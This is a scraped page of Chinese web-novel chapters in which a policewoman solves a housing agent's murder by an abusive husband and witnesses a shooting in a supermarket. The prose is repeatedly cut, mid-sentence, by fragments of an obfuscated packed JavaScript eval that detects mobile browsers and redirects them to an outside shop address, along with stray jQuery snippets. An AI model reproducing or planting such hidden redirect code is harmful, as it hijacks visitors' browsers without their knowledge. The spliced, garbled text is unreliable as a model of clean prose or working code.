鞋印虽然记录了凶手的行动路径，但是好像也没有指明凶手身份。 程昭叹了一口气，转身去看死者的随身物品。 周立言刚刚看完死者的记事本，他见程昭想看，就直接递给她。 程昭也不客气，仔细地查看了这个记事本。 本子里面写的东西很零碎，大部分都是一些日常小事、工作日程、客户需求。 最新的一条日程是“周三21点刘先生河东小区公寓看房”。 这个时间点刚好是法医推测的死亡时间范围内，但是系统没有标记这个刘先生，反而标记了前面一页的一条记录——【“互助群小婷找房”】，而且关联性排序很靠前。 这个信息暂时还不能直接说出来，程昭便默默记在心里。 …… 程昭看现场的时候，周立言派了侯远山和孙泽林去询问报案人和询问附近的邻居。 侯远山他们问完回来了，把问到的信息告诉其他的队友。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144247|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 侯远山简单地复述，报案人发现案件的经过：“……报案人推开门发现尸体，就打电话报警了。等待警察的时候，他守在门外，没有人进出过。他说，他昨晚19点就到家了，但是20点至22点半之间他戴着耳机玩游戏，没留意旁边房间有异常的动静。” 周立言：“如果报案人说的是真话，那么案发时间很可能就是他玩游戏期间了。这个公寓其他邻居有听到什么声响吗？” 孙泽林：“这个房子在顶楼，又在走廊的尽头，正下方的住户是一对耳背的老夫妇，没有人留意到有争吵声。不过楼下有一户人说，昨晚九点左右好像听到有重物落地的声音。” …… 大家看完现场，听完附近邻居的证词，开始分享各自的发现和推测。 程昭也说出了自己的推测：“邻居没有怎么听到打斗声，估计凶手很迅速就制服了死者，所以他的力气应该比死者大很多。另外，凶手的鞋子码数只有40码，我觉得他很可能是一个个子比较小的男人。” 孙泽林有不同意见：“但是，40码也可能是高个子的女生吧？体型有优势的话，迅速制服身高165、中等身材的同性，应该也是可以做得到的。” 乔良摇摇头：“不好说，40码鞋子的女生，在南方地区还是比较少见的。而且这样暴力的作案手法，我更倾向是男性。” 程昭：“而且还有一点，现在二月底，夜晚气温比较低，死者只穿西装外套应该是不够暖的，但是现场没有找到她的厚外套。” 周立言：“……你是说，凶手穿走了她的厚外套？” 程昭：“对，看现场的血迹，凶手衣服肯定是沾到血了。如果他没有其他防护或者替换衣服的话，可能就是拿了死者的外套应急。我推测，他的体型可能和死者相差不大。” …… 交换完想法，大家都觉得程昭说的可能更大一些，决定稍后查看附近监控的时候，留意有没有这样的可疑人物。 除了要收集附近的监控录像，还需要拜访死者家属和公司同事。 需要确定死者昨晚等的人是不是记事本里面的刘先生，还要了解死者有没有什么仇人。 周立言干脆安排大家兵分三路，他和程昭去拜访死者家属，乔良和陈丰去死者公司，侯远山和孙泽林去收集附近的监控录像。 大家都点头应是，然后开始分组行动。 …… 他们人在外面，查东西不方便，周立言打电话让同事帮忙，查到了死者的家庭情况和家庭住址。 他们还了解到，死者是离婚状态，目前带着女儿和她的父母一起住。 比较让他们在意的是，死者的丈夫有家暴记录。 周立言怀疑，会不会是死者的丈夫找到死者，然后袭击了她。 程昭则把注意力放在了“家暴”上面，那个互助群会不会就是家暴受害者互助群？ 【系统更新内容，“家暴受害者互助群”显示在关联列表上，排序不低。】 “多想无益，我们出发就知道了。”周立言微微一笑。 程昭回过神，点头笑着说：“嗯，我们出发吧！” 60. 群友 毛家。 死者的父母都在家里，只有死者的女儿正在上学不在家里。 看到刑警上门，昨夜毛曼文又没有回家，两老心里都有了不好的预感。 当周立言告知他们女儿已死，请他们节哀的时候，毛父毛母都奔溃了，泣不成声。 白头人送黑头人，程昭、周立言可以想象他们的痛苦。不过悲伤解决不了案件，他们的时间有限，只能先安抚好死者家属的情绪，争取早日破案。 “现在当务之急是找到真凶，把他绳之以法，还毛小姐一个公道……” 周立言和程昭在旁边安慰他们，等待他们心情平复。 毛父毛母宣泄了一会情绪，纸巾都用完了小半抽，两人渐渐平静下来，“你们想知道什么？尽管问吧，我们知道的都会告诉你们。请你们一定要抓到杀人凶手。” 周立言和程昭开始向毛父毛母询问，首先是确定昨晚死者的行程。 程昭：“你们知不知道昨晚毛小姐出去是为了做什么？她有没有和你们说过她约了谁？” 毛母：“……她是做房屋中介的，很多人都是下班之后才来看房子，所以夜晚加班是常态。经常我们睡着了，她才回家……我们是早上没看到她，才发现她晚上没回来。” 周立言引导他们回忆，死者的人际关系如何，和谁有过冲突。 他们表示，毛曼文的人缘很好，很少和别人起冲突。最近和她有纠纷的，一个是她的前夫潘光豪，另一个是她的前主管林文伟。 “潘光豪最近有来找过曼文，他想复合，想要回他们的女儿冬冬。但是曼文好不容易才离婚，怎么可能会答应。那个家暴男还砸了我们一个水杯，我们差点就报警了。” “还有一个，她之前的主管林文伟。他性骚扰下属，几个月前被曼文举报，后来被辞退了。一个星期之前，曼文在家里接过那个人的骚扰电话。” 程昭看了一下系统，他们说的两个有怨仇的人都没有被标注。 关键还是那个互助群，要找到记事本里面小婷的身份…… 程昭：“你们知道毛小姐的网络社交情况吗？她有没有和你们提起过互助群的事？” 两个老人摇摇头。 程昭想了想，然后又问：“毛小姐有没有什么走得比较近的朋友？她离婚期间有没有和谁寻求过帮助？” “她有一个朋友是律师，曼文有去找过她。她叫张小莹。” 毛母想起家里还有张律师的名片，就去拿了名片给程昭。 【系统更新了内容，“张小莹律师”显示在关联表上，不过关联性比较低。】 程昭猜测，这个律师可能和互助群有关系，决定去拜访一下张律师。 …… 离开了毛家，程昭对周立言说：“死者的记事本倒数第二页里面写着‘互助群小婷看房’，我觉得这个互助群的小婷可能和案件有关系。” 周立言：“所以你打算去找那个张律师，想找到这个互助群，对吧？” 程昭手指点点：“嗯，可以吗？” 周立言轻轻敲了一下程昭的额头，然后揉乱了她的头发，“当然可以，不过这种事下次还是提早说出来吧。如果今天和你搭档的是其他人，他们可能会觉得你自作主张。” 程昭捂住被敲的额头，嘀咕道：“因为记事本上面有个可疑最大的刘先生嘛，我贸然提出来，别人也会觉得我想太多。” 周立言摇摇头：“那个刘先生应该不是凶手。” 程昭挑眉：“你怎么知道的？” “直觉，”周立言轻笑，“走吧，我们先去找张律师，然后回去警局，和大家交换情报。” “我们不用先去找死者的前夫或者前主管吗？” “没事，可以让乔良他们帮忙，他们应该已经去完死者的公司了。” 周立言联系了乔良、陈丰，他们正准备离开死者公司。 听完死者的前主管和前夫的事，乔良他们答应了去查这两个人。 …… 周立言、程昭约见张律师十分顺利。 对死者突然死亡的事，张律师十分震惊和伤心。她确实知道死者加入过一个家暴互助群，她也是群友，死者是她邀请进群的。 因为毛曼文严格来说不算是张律师的客户，所以她也不用太顾虑隐私条例，警察问的问题，她都尽量回答了。 “……这个群里面很多都是曾经受过家暴伤害，或者正在遭受家暴伤害的人，我们一些志愿者组织了这个群，定期帮助那些有需要的人。” 程昭：“那你们的互助信息，会记录汇总吗？” 张律师：“会啊，大家会把一些问题记录在一个共享文件里面，然后热心的群友帮忙解决问题。” “那，有没有一个叫小婷的人，发布过想要租房的信息？” “我看看……”张律师立刻登录社交软件，打开了互助群的文件夹，找到了五天前的一个求助信息。 “应该是这一条，王小婷。”张律师把屏幕转向程昭她们，然后指着其中一条记录。 这个叫王小婷的人发布了一条求助信息，大概内容就是丈夫的控制欲太强了，她很害怕，想要找个交通方便或者离工作地点近的房子搬出来住，最后联系方式留了手机号。 【系统更新内容，把王小婷和她的求助信息都标注了关联。】 程昭看完信息，和周立言对视了一眼。 周立言明白程昭想做什么，微微点头说：“我找人查一下死者有没有联系过这个电话号码。” …… 离开了张律师的律所，周立言和程昭赶回警局。 技术部的同事查到了死者的手机号的通讯记录，她在这几天确实有联系过王小婷留下的手机号码。 另外，王小婷的手机也被关机了，技术员不能定位她的所在地。 不过，通过姓名和手机号确定了王小婷的身份。 王小婷，20岁，C市人，她在A市的打工地点，离案发地点的公寓很近，只有几百米。 王小婷很可能和案件有关，她那个控制欲很强的丈夫也有作案动机。 不过，王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152149|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小婷似乎还没有领证，技术员还在查她的丈夫身份。 周立言：“这种情况也是有的，有些小地方的人很早就摆酒结婚，成年之后再去领证，有的甚至没有去补……不过我们知道了王小婷的身份，要查她的丈夫应该不难。” 回到警局，其他人也回来了。 大家互相交换收集到的情报。 侯远山和孙泽林收集完案发现场附近的监控视频，回到警局之后，先看了几个凶手比较有可能经过的地点的录像。 之前程昭提出过，凶手可能是个子比较小的男性，而且可能换上了死者的厚外套。 他们查看视频的时候，特别留意了有没有这样的人，然后还真的被他们找到了。 “……你们看，真的有这样的人，在附近出现过。他身上的蓝色外套，死者之前也穿过。”侯远山把可疑男子和死者出现的画面截图放大。 虽然光线比较暗，像素不够清晰，但是也可能看出来是同一个款式的衣服。 可疑男子的样貌，也被摄像头拍到了。 他和死者的前夫、前主管，长得一点也不像。 前夫、前主管的嫌疑，下降了很多。 乔良、陈丰他们去了死者的公司，也查过了死者的前夫、前主管、客户刘先生的不在场证明。 客户刘先生，虽然曾经预约了昨晚去看房，但是他临时有事，需要留在公司加班，所以下午五点的时候，就通知了住房中介，取消预约。刘先生的公司同事，也证明了他所说的话。 死者的前夫，昨晚在酒吧与人打架斗殴，很多人都看到了，所以他也没有时间去案发的公寓。 死者的前主管，在前一天在商场偷拍女生，被人当场捉住，昨晚他还被关在派出所，所以他的嫌疑也被排除了。 这三个人都有不在场证明，他们的嫌疑基本上都被排除了。 周立言、程昭把他们这边的发现分享了出来。 因为前夫、前主管有不在场证明，所以他们就没有多说这两个人的事。 周立言在白板上写了“家暴互助群”、“王小婷”几个字。 程昭简单地复述了她们发现王小婷的事，“……技术部查到，死者曾经联系过王小婷留下来的电话号码。我们怀疑，死者昨天临时约了王小婷来看房子，但是消息被王小婷的丈夫知道了，然后王小婷的丈夫过来找死者的麻烦。” 侯远山：“如果凶手就是王小婷的丈夫，那王小婷会不会有生命危险啊？” 侯远山说出了程昭、周立言担心的事，大家都沉默了一下。 乔良皱眉：“王小婷丈夫的身份，还没有确定吗？他们没有领证？” 周立言摇摇头，说出了他之前的猜测。 他刚说完，技术部的人给他发来了信息，王小婷的丈夫的身份确定了。 叶洋，21岁，C市人，19岁的时候与王小婷在乡下摆酒结婚，去年和王小婷来到A市打工。 技术员找到了叶洋和王小婷的住址。 事不宜迟，大家立刻准备前往叶洋的住址。 61. 中介案尾声 技术员查到，嫌疑人叶洋住在西城区的旧工业园的一个民房，他名下有一辆摩托车。 这一片的工业区曾经很繁荣，带旺了周边的经济。乡镇的村民们纷纷重盖了自建房，用来出租。 现在这边的旧工厂很多都搬走了，连带着附近的一些民房也空置了。 村里没有什么道路规划，民房之间的小路很窄。 因为路窄，汽车进不去。程昭他们停车之后，改为下车步行，在迷宫一样的小路快速穿行。 大家心里都有个隐忧——王小婷手机关机了，她人还好吗？ 叶洋的资料里面有他的照片，他确实就是案发出现在凶案现场附近的可疑男子。 结合收集到的信息，可以推测出——叶洋发现王小婷想要离开自己，知道了毛曼文想要帮助王小婷，然后他代替王小婷去见了毛曼文，还直接杀死了她。 这样残暴、控制欲强的人，会怎么对待一个想要逃离自己的猎物？ 路灯散发着昏暗的灯光，一栋栋高度参差不齐的小民房在黑暗中矗立，仿佛在窥探路过的的人。 当程昭他们赶到嫌疑人的居所，嫌疑人的摩托车还停在住处的小院里面，他的住处在一楼，那个房子正亮着灯。 “嫌疑人应该在家里，他手上可能有人质，大家小心行事。”周立言低声嘱咐道，“侯远山和我走正门，乔良和孙泽林守屋子后面的窗户，程昭和陈丰守左边的窗户。” 大家点头表示收到，然后悄悄前往分配好的位置，躲藏起来。 周立言和侯远山到了正门，侯远山看起来比较无害，由他去敲门。 门被敲响，屋里的传来一个男人的声音：“谁啊？” “你好，这台摩托车是不是你的？我好像不小心撞坏了你的车灯。” 屋里的男人语气有点生气：“你撞了我的车？” “是的，实在不好意思，你出来看看？我会赔偿的。” 屋里的男人：“……你稍等，我换个衣服。” 周立言和侯远山屏息等待，但是耳边始终没有听到脚步走进的声音。 屋子左侧突然传来一阵声响。 “啊！”陈丰惊呼，似乎被什么袭击了。 紧接着是很多东西掉落地上的声音。 “八婆，让开！”男人怒喝一声。 “嘭——” “啊！”男人痛呼惨叫。 其他人赶到左侧，发现嫌疑人已经被程昭击倒了。 只见嫌疑人躺在地上，双手捂住两腿之间，面目狰狞，身体蜷缩成一只大虾。 陈丰被浇了一头不明液体，身上还挂着一块床单。他眼睛好像被刺激到了，正在使劲揉眼睛。 程昭则拎着一根折叠警棍，对着嫌疑人，时刻准备再补两棍。 “……好厉害啊，程昭。”大家都愣住了。 程昭收起警棍，腼腆地笑笑：“多亏了之前的防身术课程，老师教的招式很管用。” 周立言压下嘴角的笑意，眉眼带笑地看着程昭：“刚刚发生了什么事？” 程昭简单和大家复述了经过。 嫌疑人回应了侯远山之后，悄悄到了左侧厨房的窗户。陈丰有点倒霉，藏身的地方刚好被嫌疑人看到了。嫌疑人把火锅汤底泼到了他头上，还把旁边的杂物、晾衣架都推倒在他身上。嫌疑人跳窗出来，发现还有程昭在另一侧守着，想袭击她的时候，被程昭一棍子打中了老二的位置，失去了抵抗。然后大家就过来了。 陈丰很郁闷：“居然是辣油火锅，我眼泪都出来了。” …… 随后，大家搜查屋子的时候发现了被囚禁在卧室的王小婷。 发现人看了一眼就退出房间，让程昭过来帮受害人解绑。 她不着寸缕，身上伤痕累累，手脚和脖子都被绑在床上。她的脸也被打肿了，乱发覆脸，嘴巴被堵住，完全没有人格尊严，好像一只等待被宰杀的羔羊。 程昭连忙帮她解绑，给她找到了合适的衣服，帮她穿上。 “谢谢，谢谢……”王小婷眼睛肿得像一对核桃，眼泪不住地从眼缝流出。 “你安全了，不用害怕。”程昭握住她颤抖的手，拍拍她的肩膀。 温度从程昭的手传递给了王小婷，好像还传递了一些勇气，王小婷的颤抖和眼泪慢慢止住了。 …… 王小婷先被送到了医院。 其他人在嫌疑人的家里，找到了行凶当天穿过的衣服，还有死者的外套。 一行人开车回到警局。 周立言和程昭审讯叶洋。 人证物证俱全，叶洋还袭击了刑警，他就是想抵赖也没有用，只好一五一十地把作案经过都说了出来。 事情经过和程昭她们想的差不多。 他和王小婷是同一个村子的人，他们那边很早就结婚，他和王小婷是介绍认识的，刚结婚的时候他们也度过了一段甜蜜的时光。后来，他们年长了一些，小地方赚钱太少了，他们便一起出来打工。 他们没有好的学历，找不到什么好的工作。王小婷因为长得还可以，比较容易找工作。但是他……因为个子不高，一些比较看重外表的岗位，看到他的人就直接面试不通过了。 他开始妒忌，妒忌自己的妻子，妒忌一切比自己过得好的人。他害怕妻子见识到外面的花花世界，会抛弃他。于是，他要求妻子时刻和他报备。 后来，他看到妻子和别的男人说话，回到家就把她打了一顿。 “……我太爱她了，她不应该不听我的话，忤逆我就要接受惩罚。”叶洋一脸理所当然。 程昭敲了敲桌面：“那毛曼文呢？那个房屋中介，你为什么要伤害她？” 叶洋抿了抿嘴：“那是她多管闲事……” 王小婷悄悄改了手机密码，但是还是被叶洋发现了。他偷看妻子手机内容，发现了她想找地方搬出去。那个和她联系的女中介，还一直怂恿她，让她快点离开他。 他勃然大怒，把妻子囚禁在家中，按妻子和中介约定的时间，到了看房的地点。 看到他的时候，中介一开始以为他是原来爽约的客户，趁中介还没有反应过来，他袭击了她，捅了几刀，后来刀子卡住了，他就留下了刀子。 因为身上的外套沾到了血，短时间清理不了，他就换上了死者放在椅子上的外套，把脏了的外套带回家里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167991|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 妻子看到他衣服上的血，还有穿回家的带着香水味的外套，猜到了他做的事。他承认自己杀死了挑拨离间他们关系的女中介，妻子立刻好像疯了一样打他，喊他杀人犯，还想跑出去报警。 他把妻子狠狠地打了几顿，剥走了她的衣服，把她栓在床上，堵住嘴。每天只给一点食物一点水，上厕所的时候才可以解绑…… “……就像熬鹰训狗一样，只要建立了足够的威严，她就不敢不听话。”叶洋得意地分享他的心得，眼神不怀好意地打量着程昭。 程昭“啪”地一下，把警棍放在桌面。 叶洋被吓了一跳，看到警棍，感觉自己的腿间又在隐隐作痛，不敢再看女警。他看向男警官，发现这个长着很漂亮的男警官，好像看着什么脏东西一样看着他，让他有点难堪。 周立言把录好的供词递给叶洋，让他签字画押，然后收起供词。 “希望你以后在监狱里面，也能保持你那可笑的威严，”周立言似笑非笑，“虽然没有国外那么乱，但是犯人总会有办法找点乐子，你应该会挺受欢迎的。” 叶洋惊慌地捶了一下桌子：“你们不能这样！” “我们没有怎样，只是陈述事实。”程昭耸了耸肩。 “你要对自己有信心，说不定你进去可以当老大呢？”周立言站起身来，轻蔑地笑了笑。 程昭他们离开了审讯室，背后隐约传来叶洋破防的喊叫声。 …… 王小婷的诊断结果出来了，她受了很多伤，营养不良，轻度脱水。 她情况稳定下来以后，周立言和程昭去拜访了她。 她的状态比那天好了很多，没有那么死气沉沉，依稀可以看出是一个年轻漂亮的女孩子。 她对警察的询问，知无不言。 她很早就没读书了，听从父母安排早早嫁人。出来外面打工，她才知道世界这么大。 她被叶洋的暴力和控制欲折磨得很痛苦。 工作的时候她偶然加入了家暴互助群，群里的姐妹和志愿者让她看到了希望。她可以自己养活自己，叶洋没资格这样对待她。 她计划逃离，没想到还是被叶洋发现了，还害死了毛曼文。 王小婷想起毛曼文，眼泪大颗大颗地落了下来：“她是个好心人，她只是想帮我找房子。没想到叶洋居然……都是我的错，我害死了她。” “是叶洋的错，你不要太自责，”程昭安慰道，“她是一个善良的人，她受伤的时候得到过别人的善意，也希望传递善意给别人……你要好好活着，不要辜负了她。” …… 有了各方的证词，证据了齐全了，这个案件算是告一段落了。 程昭想起案件里面的，刚脱离苦海又遭遇不幸的毛曼文，感觉十分可惜。 “她的人生正要重新开始呢，人生真是无常。”程昭叹气，“她的女儿怎么办？不会又被她前夫带走吧？” 周立言：“应该不会，她的前夫有暴力案底，法院不会轻易把孩子给他的。而且毛曼文的父母身体健康，年龄也不算太老，他们有足够的能力养育孙女……我们也和家事法庭说过他们的情况了，所以你放心。” 62. 枪声 今天是程昭的休息日。 不过妹妹程露要上课，男友周立言要开会，所以她只能自己找活动。 最近A市开了一个新的大型进口商品超市，里面有很多国内市面比较少见的外国商品，而且有很多款特色甜品。很多人专程过去打卡，还在社交媒体发评论帖。 程昭平日看到好多相关的推荐，被这个超市的特色蛋糕、牛肉卷深深地吸引住了。当然了，店里琳琅满目的商品也吸引着她。作为一个厨艺不错的吃货，她热衷于收集世界各地的调味料和食材，尝试跟随厨艺大师食谱的步骤，复刻各种美食。 刚好家里需要补充食材和日用品，程昭决定去那边逛一逛。 …… SA进口超市。 这个超市实在是太大了，商品种类十分齐全，程昭逛了半天，脚都有点酸了，干脆先去熟食休息区用餐。 没想到，居然在这里遇到了熟人。 “吴白？刘千峰？”程昭很惊讶，上前和他们打招呼，“好巧，你们也来打卡探店？” 吴白他们看到程昭，连忙把她拉到人少的角落。 吴白：“你怎么在这里？” 程昭：“我休假来逛逛啊，怎么了？” 吴白挠了挠头：“你和这个案子真有缘分……算了，告诉你吧，不过你不能扰乱我们的行动，你等下看到认识的同事，千万不要和他打招呼，假装路人就行。” 刘千峰：“我们在查之前的材料倒卖案，有人联络了老K，说今天在这个商超交易。” 程昭有点疑惑：“居然来这种地方交易？东西很轻？不需要用车子搬运？” 吴白解释：“交易的东西加起来差不多20斤，一个双肩包就可以装下了，所以在这样的室内也可以交易。” 程昭：“你们来和对面的人做交易吗？” 吴白：“当然不是，他们认得老K的脸，直接换人的话，估计他们就会怀疑了。现在老K坐在休息区，等对方的指令。我们组的陈宣怡假装成老K的助手，在旁边保护。我们队长和技术员在外面停车场，连接商场监控。张同在楼上露台观察楼下的休息区。我们两个是机动组，在附近巡逻。” 程昭按吴白指的方向，远远地看到了老K和他身边的秘书打扮的陈宣怡，不过她没看到楼上的张同，估计藏身之处比较隐蔽。 刘千峰：“我们怕人多了太明显，所以没有请求太多人来帮忙。根据老K之前的口供，来取货的人一般都是1~2个人，所以我们一队人应该也足够了。” 程昭：“需要我来帮忙吗？” 吴白：“不用了，你在我们计划之外，突然加入可能效果不好。你就好好休假吧，如果看到目标人物就通知我们。” 程昭：“那好吧，你们小心一点。需要帮忙就通知我，我短时间内都在这个商场里面。” …… 接下来，程昭按自己原来的计划，先去了熟食区买午餐，然后到休息区坐下。 她没有靠近老K那边，以免影响了二队的计划，不远不近地坐在附近，假装若无其事地享受午餐。 虽然东西挺好吃，但是她有点食不知味，分了一部分心神去留意周围的情况。 不知道会不会遇到危险……组织的人约老K在闹市见面，应该是为了容易混入人群，他们应该不会在大庭广众之下动手吧？ 程昭看了看之前系统抽奖抽到的道具，现在她还有两个低级止血贴。 之前完成了几个案件，她现在手里的系统积分又多了一些，有450积分。 她召唤系统小五，让它帮忙拿100积分去抽奖。 小五应程昭的要求，为程昭打开了抽奖轮盘。 这次程昭抽到了“中级解毒剂”x1，“低级止血贴”x2。 虽然没有特殊道具，但是医疗药品都是保命的好东西，多囤一点也没关系。小五还和她介绍过，这些道具可以用在自己和别人身上。 防身的道具多了几件，程昭感觉心安了一点。 不知不觉，她的食物吃完了，周围还有人在等位置，她干脆先离开了休息区，免得引人注意。 不过程昭也不敢离开太远，怕出事了反应不过来。 …… 休息区，老K的手机响了，来电显示未知电话。 老K和旁边的陈宣怡使了一个眼色，然后接通了电话：“喂？” 电话对面的人：“是我，你在哪里？” 老K：“孙小哥，我已经按约定，在熟食的休息区了。” 孙家豪：“你旁边的人是谁？你怎么带人来了？” 老K说出之前准备好的托辞：“我前阵子摔断腿了，出入都需要轮椅。这个是我的秘书CoCo，上次陈哥也见过的……你到哪了？东西怎么给你？” 孙家豪有点生气：“你行动不便为什么不早说？” 老K谄媚道：“哎，我这点伤算什么，怎么能耽误老板们的生意呢。” 可能孙家豪也觉得有道理，他的语气听起来不怎么生气了：“行吧，算你识相。十分钟后，你到F出口，之后我再和你说怎么交易。” 电话挂断了，老K的电话已经被连接到警方的监听系统，所以二队的人都听到孙家豪的指令。 F出口和这个休息区有点距离，十分钟走到那边，不能慢慢走过去。 他们这么多人一起跟着，太显眼了。 队长孙萍让吴白在后面跟着老K和陈宣怡，其他人在远处一点的地方等待，留意有没有可疑的人物。 时间不多，大家听令行事。 陈宣怡推着老K的轮椅，赶到F出口。 老K又被孙家豪通知，前往其他地方。 大家明白，孙家豪正在观察老K有没有和其他人在一起，他们更加不敢贸然行事，以免被监视的人发现。 来来回回地跑了几遍，老K都有点烦了。 孙家豪让老K到二楼的休息区，在旁边的花坛等他。 老K和陈宣怡只能照做。 这次，孙家豪没有再叫他们转移地点了，很爽快地现身，和老K交易。 老K：“货物在这个背包里面，20斤的散货，贴好标签了。” 孙家豪正要拉开拉链检查背包。 陈宣怡趁其不备，一脚踢中了他的后腿弯。 孙家豪被踢中了酸筋，差点就要跪下，他迅速反应过来，把背包当做流星锤，砸向陈宣怡。 陈宣怡敢独自行动，自然是有两把刷子的。她侧身避过重物的袭击，伸手扯住背包，利用惯性令孙家豪重心不稳，还将背包带缠绕住了孙家豪的双手。 孙家豪想挣脱双手，但是布带缠得很紧，他抬腿踢向陈宣怡的腰。陈宣怡不退反进，一拳重击了孙家豪的脖子。 孙家豪被击中要害，身体软了一下。陈宣怡乘胜追击，把他摁倒在地，反手戴上了手铐。 附近远远跟着的吴白赶到了，打斗刚好结束。 吴白气喘吁吁：“陈姐不愧是陈姐，太厉害了，一个人就撂倒了犯人。” 陈宣怡活动了一下肩膀，笑着说：“小意思。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182755|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队伍的其他人听到犯人已经被抓住，纷纷往这边赶来。 休息区附近的客人和工作人员看到这边有人打斗，都不敢靠近，但是人都有好奇心，不少人站在远处围观。连楼上的中庭露台，栏杆旁边都站了不少人，探头探脑地围观他们打架。 突然，有人厉声大喊，“小心，趴下！” 差不多同一时间，附近响起“砰”的一声。 刚刚站立起来的孙家豪腹部中弹，他身后的陈宣怡也被贯穿的子弹打中了肺部。 两个人齐齐倒下。孙家豪压住了陈宣怡，陈宣怡痛得闷哼了一声。 众人意识到，这里有枪手！ “天啊，有枪！” “救命，杀人了！” “快逃！” 周围场面陷入一片混乱。 作为老江湖的老K早就跑到一边，找掩体躲起来了。 又响了两声枪声。一枪打到了旁边的地面上，一枪打中了孙家豪的大腿。 很明显，枪手的目标是孙家豪，杀人灭口！ 吴白很着急，甚至没时间回复耳机里面队友们的焦急询问。他叫不动老K，只好冒着危险，自己过去救人。 吴白想先拉队友，陈宣怡急声说：“先移走他，他才是目标。” 吴白没办法，而且陈宣怡被压住了，他只好先去拉孙家豪。 枪手好像急了，又打了两枪。 孙家豪的肩膀、陈宣怡的腹部被击中了。 孙家豪知道警察是在救自己，十分配合地挪动，不过他中了几枪，痛得快晕过去了，根本使不上力气。 吴白把孙家豪拖到旁边的柱子后面，然后又去拉陈宣怡，陈宣怡已经有点陷入昏迷了。 伤者都移动到大柱子后面，枪手没有再出手。 人们都找地方躲藏起来了。偌大的休息区，几分钟前还是欢声笑语，现在看不到一个人。周围陷入一片古怪的寂静，偶尔响起几声啜泣和小孩的哭声，然后又很快被人捂住。 枪声没有再响起，但是人们也不敢走出来。 …… 过了一会，张同等人终于赶来了，孙萍还带来了几个保安。 看到有人来了，人们终于敢发出声响，哭声、啜泣声、谈话声汇成了一片。 警察在周围巡查了一遍，问了周围的人，枪手似乎已经离开了。 两个伤者都中了几枪，伤到了要害，血流不止，已经陷入昏迷状态。 救护车还在路上，需要十几分钟才能赶到现场。 “可恶！”吴白捶了一下柱子。 孙萍紧紧握住陈宣怡的手，声音带着哭腔：“宣怡，别睡，坚持一下。” “我、我有一个很厉害的止血药，不如让我试试？”程昭气喘吁吁地跑了过来。她刚刚在上面两层的露台，绕了一些路才跑了下来。 “啊？什么药？”孙萍愣住了。 程昭看到两个伤者的血流到地面上，脸色发青，着急道：“来不及解释了，先试一下。” 程昭拿出两个“低级止血贴”，止血贴的外形看起来就是一个四四方方的大号的狗皮药膏。她挤开围在伤者身边的人，“啪”地一下，把两个止血贴贴在了伤者出血最多的腹部。 效果很惊人，两人的伤口出血好像一下子被止住了，他们的气息也平稳了很多。 “好厉害的止血药，”孙萍惊叹，“哪里来的？” “路边摊买的，”程昭挠挠头，“看起来像是江湖郎中，他演示得很厉害，我好奇就买了一点试试。” 63. 枪手 听到药膏是路边摊买的三无产品，大叔张同还紧张了一下，害怕会有什么不良反应。不过看到同事确实情况有好转，他才松了一口气。 张同皱眉，忍不住说教两句：“你也太大胆了，怎么什么都拿来用……” 程昭苦笑。系统出品，必属精品，但是她没办法说清楚来路。 孙萍摇头：“情况危急，有效果就行，至少他们现在止血了。等他们安全到了医院，医生救治完，会给他们检查的。” 其他人也纷纷点头，刚刚伤者的血流得太快了，他们拿普通纱布根本压不住。现在贴了这个药膏，流血一下子止住了，伤者的心率也平稳了。 看到大家没有质疑自己的冲动行为，程昭微微松了一口气。 孙萍把现在的情况和于山汇报了。 于山十分重视，担心还会有杀手去医院杀人灭口。 他让孙萍不要泄露伤者止血成功、伤情暂时稳定的消息，也让医院的人注意保密，还安排了人前往医院和事发的商超。 听到了于山的嘱咐，大家都反应过来了，纷纷压下了嘴角，假装成焦急担心的样子。 两位伤者的情况，应该只有他们这些围在旁边的人看到了。群众被隔在封锁线以外，应该只能看到之前拖拽的血痕，看不清柱子后面的伤者。不过以防万一，他们搬了个帐篷遮挡楼上露台的视线，又在伤者四周围上幕布。 …… 【系统小五有点不明白程昭的行为。 别人不知道这些道具有多珍贵，但是程昭自己是知道的。救那个女警察还情有可原，为什么还要去救那个犯人呢？ 